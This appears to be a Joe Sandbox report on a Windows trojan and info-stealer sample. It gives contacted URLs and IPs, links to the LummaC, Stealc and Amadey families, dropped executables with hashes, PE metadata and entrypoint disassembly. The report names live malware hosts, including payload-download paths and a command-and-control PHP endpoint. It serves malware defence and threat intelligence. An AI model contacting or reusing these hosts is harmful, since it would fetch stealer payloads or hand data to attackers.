https://discokeyus.lat/h	XNtOBQ5NHr.exe, 00000000.00000003.2276072773.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpm	YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/api18	XNtOBQ5NHr.exe, 00000000.00000003.2258310109.00000000012CF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/$(	YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exe	XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php)	YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/$	XNtOBQ5NHr.exe, 00000000.00000003.2146083192.0000000001232000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.ecosia.org/newtab/	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	XNtOBQ5NHr.exe, 00000000.00000003.2201442496.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385971258.000000000125C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba668	XNtOBQ5NHr.exe, 00000000.00000003.2229030888.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2257959866.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.micro	XNtOBQ5NHr.exe, 00000000.00000003.2228919142.000000000128C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258081562.000000000128C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146214121.000000000128C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2276129121.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apip(	XNtOBQ5NHr.exe, 00000000.00000003.2146214121.000000000128C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exe)	XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/	XNtOBQ5NHr.exe, XNtOBQ5NHr.exe, 00000000.00000003.2258221249.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258310109.00000000012C2000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2228919142.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146083192.0000000001232000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146083192.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258022459.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258737515.00000000012C2000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	XNtOBQ5NHr.exe, 00000000.00000003.2200453529.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apiKExSFt	XNtOBQ5NHr.exe, 00000000.00000003.2199882480.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2199993766.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2200066123.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	XNtOBQ5NHr.exe, 00000000.00000003.2227090314.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206	YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	XNtOBQ5NHr.exe, 00000000.00000003.2147203582.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147131131.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2147300283.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/)	XNtOBQ5NHr.exe, 00000000.00000003.2385786986.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe&	XNtOBQ5NHr.exe, 00000000.00000003.2385811865.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpU	YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.197.170	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578936
Start date and time:	2024-12-20 16:52:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	XNtOBQ5NHr.exe renamed because original name is a hash value
Original Sample Name:	52ae89a2cfa207a72090d1c21358b0b1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target XNtOBQ5NHr.exe, PID 5828 because there are no executed function
Execution Graph export aborted for target YYVZHLAZ7NPNQKZ17XJO.exe, PID 5176 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: XNtOBQ5NHr.exe

Simulations

Behavior and APIs

Time	Type	Description
10:53:04	API Interceptor	34x Sleep call for process: XNtOBQ5NHr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/68b591d6548ec281/nss3.dll
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/off/def.exe
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discokeyus.lat	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	rEK6Z2DVp8.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	iv382V1eOK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	m21jm5y5Z5.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	gEfWplq0xQ.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	gNjo8FIKN5.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	f4p4BwljZt.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	http://email.mg.mylearninghub.com/c/eJyUzr9OxCAcAOCngc2Gf6UwMBjPeiZ3i4nJeRuF3vWXUlBKz9anNw5OTu7f8HlDnacU94Y2XEhKJFF4MPqinXaO1KLXyhHbKKuJrLUinXVKKgyGESYoo5oyKkVT-UbwWrva876RjikkyHStpi30NkeI12HpKpcmHMxQyvuM-D1iLWKt70Oxv-ivR6y1SxkQay-Q53JIV4htCiF9HiCOiLcu-f4hxQvkCfHdG23G7vixvj4v9XY80ePTeHoJqzz79XGvzivZf51P4w0Qk-AR30muFM7GbnHJVWfzCBEJ4i2AG-ButnHc0k-jKhmX_83xzbDvAAAA__-qL3Ha	Get hash	malicious	Unknown	Browse	104.18.42.227
	https://dnearymedahealthstaffing.wordpress.com/medahealthstaffing-proposal/	Get hash	malicious	HTMLPhisher	Browse	104.21.73.56
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	rEK6Z2DVp8.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	iv382V1eOK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	http://northwesthousingservices.discussripped.com	Get hash	malicious	HTMLPhisher	Browse	104.21.89.240
	mniscreenthinkinggoodforentiretimegoodfotbusubessthings.hta	Get hash	malicious	Cobalt Strike	Browse	104.21.84.67
WHOLESALECONNECTIONSNL	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
WHOLESALECONNECTIONSNL	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.197.170
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	rEK6Z2DVp8.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	iv382V1eOK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	m21jm5y5Z5.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	gEfWplq0xQ.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	gNjo8FIKN5.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	f4p4BwljZt.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

Process:	C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Download File

Process:	C:\Users\user\Desktop\XNtOBQ5NHr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2846208
Entropy (8bit):	6.507795844165892
Encrypted:	false
SSDEEP:	49152:s76edacm78p+b6wendBF+BPBUN8dj2KZepji23LmZVHz:0dacm5b6wedB0BJU8j2NpOQQVH
MD5:	ED267F8F886C1D23165754F5C17B852D
SHA1:	65F287E63EF2CF1106CF8C2AF026A8E6C12724D3
SHA-256:	196A92F8482CC549EFACDEC30DD39D0F662584F78FDD8FC612D28D48860A5123
SHA-512:	E07605D0CBBC0588B574A359AB6F6681B1CF99C6706EE91C27D579F3041F46BAA28184DD35612EFB9325B8B6CC9FC92A275ABED3B1126A8C7B2633B0E49C491F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......+...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...ljmymddw...........h..............@...ajdgxuni. ....+......F+.............@....taggant.@....+.."...L+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe

Download File

Process:	C:\Users\user\Desktop\XNtOBQ5NHr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2883584
Entropy (8bit):	6.537966262752438
Encrypted:	false
SSDEEP:	24576:LBGJABbey9EKIXUDMPygZalHOiZncFx2J/atbmmPffRv7P8ussEsfEEi3M4rz7Jf:lKABDZIXUI5iuiZ29zmuarfkjpTSyng
MD5:	A0956C9F9C719B85668C6F8B85F89A5B
SHA1:	031F8C3BF791E31AE9B03286B486B1365B81F745
SHA-256:	998C8DDDF5FC3D73A386669C03CE5A4D371FB1D09983B1828F3ED49598AF0B57
SHA-512:	1EE084EF14A516733FFAEDD360B43560BF87E999FC4F2AD9C8D34191F33E6FAFDE7BD0773CC422F63D664E8B8D994D1884736F70C360927AAEF75745323B8474
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......0O...........@..........................`O......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ojvirhut.`...$..^..\|..............@...ueswzroq..... O.......+.............@....taggant.0...0O.."....+.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947534783368209
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	XNtOBQ5NHr.exe
File size:	1'829'888 bytes
MD5:	52ae89a2cfa207a72090d1c21358b0b1
SHA1:	00d733cc6f8387ddda8b7abaf0849738a7dfcae9
SHA256:	91d232a4af8429a9495292eac11577d6f7a6e878fd7e34fb8ba9db45149efb85
SHA512:	ca926bec50be13196095cbadf0ad9929c17bdbee68a3a85f0bcad528eafea50b4140652a1c400115d1e29c6478275c8beb7a405ae1d3416609995f9b77a55cc5
SSDEEP:	49152:9quegxvLKw0VrDQx9xsDp9aV+FF9Nl2v0FpIs:AVgR09UxsDbfFbys
TLSH:	59853359691F98DCF74225F048DEC3413AA4EB28DBCFA3AC2BD6702C981777856049CE
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................pH...........@...........................H......o....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x887000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAD60E3AE7Ah
bswap edx
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FAD60E3CE75h
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0600000Ah], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
